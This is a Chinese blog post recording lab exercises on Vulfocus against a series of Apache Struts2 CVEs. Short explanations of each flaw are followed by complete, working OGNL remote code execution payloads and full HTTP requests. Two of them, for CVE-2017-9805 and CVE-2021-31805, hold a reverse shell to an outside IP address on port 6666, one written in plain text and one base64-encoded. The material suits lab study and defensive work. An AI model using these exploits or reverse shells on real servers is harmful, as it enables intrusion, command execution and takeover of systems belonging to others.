Vulfocus-struts2初了解

5 分钟

CVE-2013-2135

漏洞原理:

  1. 配置了通配符*,访问name.action时使用name.jsp来渲染页面,但是在提取name解析时,对其执行了OGNL表达式解析,所以导致了命令执行。
  2. 如果一个请求与任何其他定义的操作不匹配,它将匹配*,并且所请求的操作名称将用于操作名称加载JSP文件。并且,作为OGNL表达式的威胁值,{}可以在服务器端执行任意的Java代码。
  3. 该漏洞是两个问题组合:请求的操作名称未被转义或再次检查白名单,在TextParseUtil.translateVariables使用组合$和%开放字符时对OGNL表达式进行双重评。

漏洞探测:
file

payload:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()),#q}.action

进行url编码:

file

CVE-2017-5638

出现此漏洞的原因是,内容类型在出错后未转义,然后由 LocalizedTextUtil.findText 函数用于生成错误消息。此函数将解释提供的消息,${...} 中的任何内容都将被视为对象图导航库 (OGNL) 表达式并按此计算。攻击者可以利用这些条件执行 OGNL 表达式,进而执行系统命令。

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls /tmp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

file

file

CVE-2016-3081

原理:当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。
method: Action 前缀去调用声明为 public 的函数,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会执行。

index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWr(iter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=ls /tmp

file

CVE-2017-9791

漏洞出现在struts2-struts1-plugin-2.3.32.jar 插件,这个插件的作用是可以让struts2能够兼容struts1的代码,ActionMessage在客户端前端展示,导致进入getText()函数,最后进入了ActionForward类中的execute()方法,导致message 被当作 ognl 表达式执行。

file

file

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

file

CVE-2017-9805

本次漏洞的成因由两部分组成,一个是 Struts2 REST插件本身没有对进入的数据进行安全检查,导致攻击者可以传入恶意的xml对象可以传入到XStream里。另一个是XStream在反序列化传入的xml造成的远程代码执行。

关键代码:

public String intercept(ActionInvocation invocation) throws Exception {
    HttpServletRequest request = ServletActionContext.getRequest();
    ContentTypeHandler handler = selector.getHandlerForRequest(request);

    Object target = invocation.getAction();
    if (target instanceof ModelDriven) {
        target = ((ModelDriven)target).getModel();
    }

    if (request.getContentLength() > 0) {
        InputStream is = request.getInputStream();
        InputStreamReader reader = new InputStreamReader(is);
        handler.toObject(reader, target);
    }
    return invocation.invoke();
}

 <map> 
 <entry> 
 <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> 
 <command>
 <string>bash</string>
 <string>-c</string>
 <string>
 bash -i >& /dev/tcp/120.79.29.170/6666 0>&1
 </string>
 </command> 
 <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
 </entry> 
 </map>

file

CVE-2019-0230

漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

file

skillName=%{#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()
}

file

CVE-2018-11776

漏洞成因:alwaysSelectFullNamespace值为true,action元素未设置namespace属性,或使用了通配符,namespace由用户传入后,被截取保留了{}中间部分被赋值给了var,然后调用了evaluator.evaluate(var)执行了结果,导致了OGNL表达式被解析。

file

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

file

CVE-2020-17530

漏洞原因是Structs2会对某些标签属性(比如id)的属性值进行二次表达式解析,当这些标签属性中使用了 %{x}x 的值用户可控时,攻击者构造payload,payload里面就是OGNL表达式 ,通过OGNL 可以访问 对象的属性,执行系统命令

POST /.action HTTP/1.1
Host: http://120.79.29.170:30161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0ogtkm7uvdt1kgl7lufd5d04y1.node0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;  boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 837

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
 

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ls /tmp")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

file

CVE-2021-31805

漏洞由于对CVE-2020-17530的修复不完整造成的,CVE-2020-17530漏洞是由于Struts2 会对某些标签属性(比如id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 其中x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。在CVE-2021-31805漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的OGNL表达式执行,导致远程代码执行

POST /s2_062/index.action HTTP/1.1
Host: 120.79.29.170:28642
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://120.79.29.170:12757
Connection: close
Referer: http://120.79.29.170:12757/s2_062/index.action
Cookie: JSESSIONID=E54FED6B6CA8147D797A8771858A21CE; wp-settings-time-1=1678102638; wp-settings-1=libraryContent%3Dbrowse%26posts_list_mode%3Dlist; csrftoken=A0Vz522jDmBu7sJHbuhEe8DOJ8UizgNw2WDeeCiedNWse0LaAtwQWuOY760mXHv2
Upgrade-Insecure-Requests: 1

name=name
=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ%3D%3D}|{base64,-d}|{bash,-i}'}))

file

总结

不太了解OGNL语句,所以payload也比较难看懂,仅仅当作初了解,简单用下payload。

~  ~  The   End  ~  ~


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文章二维码 分类标签:Web安全Web安全
文章标题:Vulfocus-struts2初了解
文章链接:https://aiwin.fun/index.php/archives/2522/
最后编辑:2024 年 1 月 4 日 16:56 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
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